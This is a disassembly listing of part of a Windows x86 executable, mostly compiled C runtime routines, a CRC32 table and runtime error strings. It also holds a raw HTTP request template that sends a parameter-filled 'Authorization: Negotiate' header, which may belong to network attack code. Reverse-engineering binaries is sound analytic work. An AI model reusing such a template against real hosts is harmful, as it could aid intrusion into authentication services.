		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426B19
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_426B19:				; CODE XREF: sub_426988+17Dj
		cmp	ebx, esi
		jz	short loc_426B7D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2670000h
		test	eax, eax
		jz	short loc_426B7D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426B57
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426B79
		cmp	eax, edi
		jl	short loc_426B48
		mov	eax, edi


loc_426B48:				; CODE XREF: sub_426988+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_426B79
; ---------------------------------------------------------------------------


loc_426B57:				; CODE XREF: sub_426988+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426B60
		push	esi
		push	esi
		jmp	short loc_426B66
; ---------------------------------------------------------------------------


loc_426B60:				; CODE XREF: sub_426988+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426B66:				; CODE XREF: sub_426988+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2860000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426B7D


loc_426B79:				; CODE XREF: sub_426988+1B8j
					; sub_426988+1CDj
		mov	eax, edi
		jmp	short loc_426B7F
; ---------------------------------------------------------------------------


loc_426B7D:				; CODE XREF: sub_426988+66j
					; sub_426988+B5j ...
		xor	eax, eax


loc_426B7F:				; CODE XREF: sub_426988+ADj
					; sub_426988+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426988	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B91	proc near		; CODE XREF: sub_426988+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426BB0


loc_426BA1:				; CODE XREF: sub_426B91+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426BB0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426BA1


loc_426BB0:				; CODE XREF: sub_426B91+Ej
					; sub_426B91+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426BBE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_426BBE:				; CODE XREF: sub_426B91+24j
		mov	eax, edx
		retn
sub_426B91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BC1	proc near		; CODE XREF: sub_426913+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426C01
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426BE5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43C9CC
		mov	ax, [ecx+eax*2]
		jmp	short loc_426C08
; ---------------------------------------------------------------------------


loc_426BE5:				; CODE XREF: sub_426BC1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426C13
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426C05


loc_426C01:				; CODE XREF: sub_426BC1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426C05:				; CODE XREF: sub_426BC1+3Ej
		mov	eax, [ebp+var_4]


loc_426C08:				; CODE XREF: sub_426BC1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C13	proc near		; CODE XREF: sub_426BC1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DC0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBC60
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426C82
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427938
		push	esi
		call	near ptr 2630000h
		nop
		test	eax, eax
		jz	short loc_426C60
		mov	eax, esi
		jmp	short loc_426C7D
; ---------------------------------------------------------------------------


loc_426C60:				; CODE XREF: sub_426C13+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CB4FC
		push	esi
		push	edi
		nop
		call	near ptr 26306E8h
		test	eax, eax
		jz	loc_426DC4
		push	2
		pop	eax


loc_426C7D:				; CODE XREF: sub_426C13+4Bj
		mov	dword_4DBC60, eax


loc_426C82:				; CODE XREF: sub_426C13+2Fj
		cmp	eax, 1
		jnz	short loc_426C9E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2630000h
		jmp	loc_426DC6
; ---------------------------------------------------------------------------


loc_426C9E:				; CODE XREF: sub_426C13+72j
		cmp	eax, 2
		jnz	loc_426DC4
		cmp	[ebp+arg_10], edi
		jnz	short loc_426CB4
		mov	eax, dword_4DBA14
		mov	[ebp+arg_10], eax


loc_426CB4:				; CODE XREF: sub_426C13+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 28510F6h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426DC4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426D12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_426D12:				; CODE XREF: sub_426C13+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426DC4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 28510F6h
		nop
		test	eax, eax
		jz	loc_426DC4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426D67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426D67:				; CODE XREF: sub_426C13+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426DC4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426D7B
		mov	eax, dword_4DBA04


loc_426D7B:				; CODE XREF: sub_426C13+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 26306E8h
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426DC4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426DC4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC90
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426DC6
; ---------------------------------------------------------------------------


loc_426DC4:				; CODE XREF: sub_426C13+61j
					; sub_426C13+8Ej ...
		xor	eax, eax


loc_426DC6:				; CODE XREF: sub_426C13+86j
					; sub_426C13+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426C13	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DD8	proc near		; DATA XREF: ___:00427F74o

; FUNCTION CHUNK AT 0040D4A9 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D4A9
sub_426DD8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426DF6
		mov	ecx, [ebp+8]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------

locret_426DF6:				; CODE XREF: ___:00426DE8j
		retn
; ---------------------------------------------------------------------------


loc_426DF7:				; DATA XREF: sub_40D07Do
		mov	eax, offset dword_427F48
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E0C:				; DATA XREF: ___:00427FA4o
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E14:				; DATA XREF: sub_40D21Fo
		mov	eax, offset dword_427F78
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 10h


loc_426E20:				; DATA XREF: sub_40D78Co
		mov	eax, offset dword_427FA8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E32:				; DATA XREF: sub_4264FEo
		mov	eax, offset dword_428008
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E44:				; DATA XREF: sub_426573o
		mov	eax, offset dword_4280A0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E56:				; DATA XREF: sub_4265D0o
		mov	eax, offset dword_4280C4
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E68:				; DATA XREF: sub_426618o
		mov	eax, offset dword_4280E8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E7A:				; DATA XREF: sub_42669Ao
		mov	eax, offset dword_428148
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		dd 5Fh dup(0)
		dd 2600000h, 26010D3h, 2610000h, 26105B8h, 2620000h, 2620A0Dh
		dd 2620A62h, 2620EB2h, 2630000h, 26306E8h, 2640000h, 26404F3h
		dd 264080Bh, 2650000h, 2650256h
dword_42703C	dd 26502C1h		; DATA XREF: ___:004231D9r
		dd 2650345h, 265058Bh, 26505AAh, 265072Ch, 2660000h, 2670000h
		dd 2680000h, 2680369h, 26809A0h, 77E75CB5h
dword_427068	dd 26809B4h		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2680CABh, 2690000h, 2690B48h
dword_427078	dd 2690F63h		; DATA XREF: sub_40111D+29r
					; sub_401ACD+318Cr ...
dword_42707C	dd 26A0000h		; DATA XREF: ___:004015E2r
					; sub_410CD6+32r
		dd 26A01C9h
dword_427084	dd 26A0290h		; DATA XREF: sub_4196BD+B9r
		dd 26A0894h
dword_42708C	dd 26A08B1h		; DATA XREF: sub_410FF9:loc_41108Ar
dword_427090	dd 26A091Ch		; DATA XREF: ___:loc_4013DCr
		dd 26A0C38h, 26A0D79h
dword_42709C	dd 26A0EDDh		; DATA XREF: sub_409B13+2r
		dd 26B0000h, 26B0077h
dword_4270A8	dd 26B07C3h		; DATA XREF: ___:0040124Dr
					; sub_41A4D2+8Cr
dword_4270AC	dd 26B0861h		; DATA XREF: sub_410CD6:loc_410DC2r
		dd 26C0000h, 26C0BBFh
dword_4270B8	dd 26C0C66h		; DATA XREF: sub_409B13:loc_40A021r
dword_4270BC	dd 26D0000h		; DATA XREF: sub_409B13+11r
					; sub_416F1B+60r ...
		dd 26E0000h, 26F0000h, 2700000h, 2700B29h, 77F7E300h, 77F7E21Fh
		dd 2710000h, 2710216h, 2720000h, 27208BEh
dword_4270E8	dd 2730000h		; DATA XREF: sub_410FF9+Br
dword_4270EC	dd 273093Bh		; DATA XREF: sub_418294+36r
		dd 2730B86h, 2740000h
dword_4270F8	dd 274051Ch		; DATA XREF: sub_410F20+3Ar
					; sub_419C65+79r
dword_4270FC	dd 2750000h		; DATA XREF: sub_410E27+23r
					; sub_419C65+3Br
		dd 2760000h, 2770000h, 2780000h, 2780374h, 2790000h, 2790645h
		dd 27A0000h, 27B0000h, 27B0B6Bh, 27B0E28h, 27C0000h, 27C016Fh
		dd 27C0AA6h, 27D0000h, 27D03B2h
dword_42713C	dd 27D06B7h		; DATA XREF: sub_416F1B+BCr
		dd 27E0000h
dword_427144	dd 27F0000h		; DATA XREF: sub_4170ED+21r
					; sub_417276+4Ar
dword_427148	dd 27F0ADCh		; DATA XREF: sub_4170ED+10r
					; sub_417276+40r ...
		dd 27F0B96h
dword_427150	dd 2800000h		; DATA XREF: sub_417276+56r
		dd 280029Dh, 2810000h, 2820000h, 28205CCh, 2820B8Ch, 2830000h
		dd 283019Dh, 2840000h, 284075Ah, 2850000h
dword_42717C	dd 28510F6h		; DATA XREF: sub_418B59+13r
					; ___:0042324Er ...
dword_427180	dd 2860000h		; DATA XREF: sub_418C2B+Fr
					; sub_41D834+54r ...
		dd 2870000h, 28704DDh, 28708DCh, 2870C7Ch, 2880000h, 2890000h
		dd 2892100h, 28A0000h, 28B0000h, 28C0000h, 28C19ACh, 28C19DAh
		dd 28D0000h, 28D0E7Bh, 28E0000h
dword_4271C0	dd 28E0619h		; DATA XREF: sub_41DEA2+240r
dword_4271C4	dd 28E0772h		; DATA XREF: sub_41E976:loc_41E9A7r
		dd 28E0867h, 28F0000h, 28F0792h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_412661+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
		dd 71AB1746h, 71AB3E5Dh
dword_427218	dd 71AB5690h		; DATA XREF: sub_40DFE3+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 0
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427638	dd 2Eh			; DATA XREF: sub_401ACD+347Do
					; sub_401ACD+356Do ...
dword_42763C	dd 2Eh			; DATA XREF: sub_401ACD+389Do
					; sub_401ACD+38D3o ...
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21F+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_427680	dq 1.388888888888889e-2	; DATA XREF: sub_40D031+2Fr
dbl_427688	dq 1.666666666666667e-1	; DATA XREF: sub_40D031+15r
dword_427690	dd 0FFFFFFFFh		; DATA XREF: sub_40D07D+16Fr
					; sub_40D4B1r ...
		align 8
dbl_427698	dq 1.333333333333333	; DATA XREF: sub_40D07D+79r
dword_4276A0	dd 0			; DATA XREF: sub_40D21F+4Do
					; sub_40D561+5Bo ...
flt_4276A4	dd 5.0e-1		; DATA XREF: ___:0040DD34r
dbl_4276A8	dq 9.765625e-4		; DATA XREF: ___:004166B7r
					; ___:004166D2r ...
dbl_4276B0	dq -1.52587890625e-4	; DATA XREF: sub_417ADE+3E5r
dbl_4276B8	dq 3.0517578125e-4	; DATA XREF: sub_417ADE+3C5r
dbl_4276C0	dq -3.0517578125e-4	; DATA XREF: sub_417ADE+342r
					; sub_417ADE+3A7r
dbl_4276C8	dq 1.52587890625e-4	; DATA XREF: sub_417ADE+271r
dbl_4276D0	dq -1.739501953125e-3	; DATA XREF: sub_417ADE+24Br
					; sub_417ADE+2D5r ...
dbl_4276D8	dq 3.11279296875e-3	; DATA XREF: sub_417ADE+E1r
dbl_4276E0	dq 3.0517578125e-5	; DATA XREF: sub_417ADE+AEr
					; sub_417ADE+138r ...
dbl_4276E8	dq 6.103515625e-5	; DATA XREF: sub_417ADE+93r
					; sub_417ADE+308r
dbl_4276F0	dq 2.288818359375e-3	; DATA XREF: sub_417ADE+21r
dbl_4276F8	dq -3.0517578125e-5	; DATA XREF: sub_418685+2Br
flt_427700	dd 9.765625e-4		; DATA XREF: sub_41A4D2+1B0r
flt_427704	dd 8.0			; DATA XREF: sub_41A4D2+1AAr
flt_427708	dd 0.0			; DATA XREF: sub_41A4D2+171r
flt_42770C	dd 1.0e-3		; DATA XREF: sub_41A4D2+168r
dbl_427710	dq 1.0			; DATA XREF: sub_41C679+6Cr
					; sub_41C7BF+6Cr ...
		dd 0FFFFFFFFh, 41DA0Ah,	41DA1Eh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
		align 4
byte_427754	db 6			; DATA XREF: sub_41F69F:loc_41F6F6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43CBE4o
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43CBE0o
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43CE5Co
dbl_427878	dq 0.0			; DATA XREF: sub_42135F+8Cr
					; sub_42135F+ACr ...
dbl_427880	dq 4.195835e6		; DATA XREF: sub_421874+Fr
dbl_427888	dq 3.145727e6		; DATA XREF: sub_421874+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4218B2o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_4219D9+93o
		align 10h
dword_4278C0	dd 0FFFFFFFFh, 4220C4h,	4220CEh, 0 ; DATA XREF:	sub_42205D+5o
dword_4278D0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42218C+5o
		dd offset loc_42224A
		align 10h
		dd offset sub_422228
		dd offset sub_422232
dword_4278E8	dd 0FFFFFFFFh, 42247Ah,	42247Eh, 0 ; DATA XREF:	sub_4222C2+5o
dword_4278F8	dd 0FFFFFFFFh, 4224DCh,	4224E5h, 0 ; DATA XREF:	sub_422486+5o
dword_427908	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42255C+5o
		dd offset loc_4225AD
		align 8
		dd offset loc_422599
		dd offset loc_42259D
dword_427920	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4225B2+5o
		dd offset loc_422603
		align 10h
		dd offset loc_4225EF
		dd offset loc_4225F3
dword_427938	dd 2 dup(0)		; DATA XREF: sub_422ACA+36o
					; sub_423CEC+39o ...
dword_427940	dd 0FFFFFFFFh, 422BDAh,	422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
					; DATA XREF: sub_422ACA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43D02Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
		align 4
asc_427C08	db 0Ah			; DATA XREF: sub_4235C9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
		align 8
dword_427C48	dd 0FFFFFFFFh, 423DE5h,	423DE9h	; DATA XREF: sub_423CEC+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4247EC+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424D78+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424D78+24o
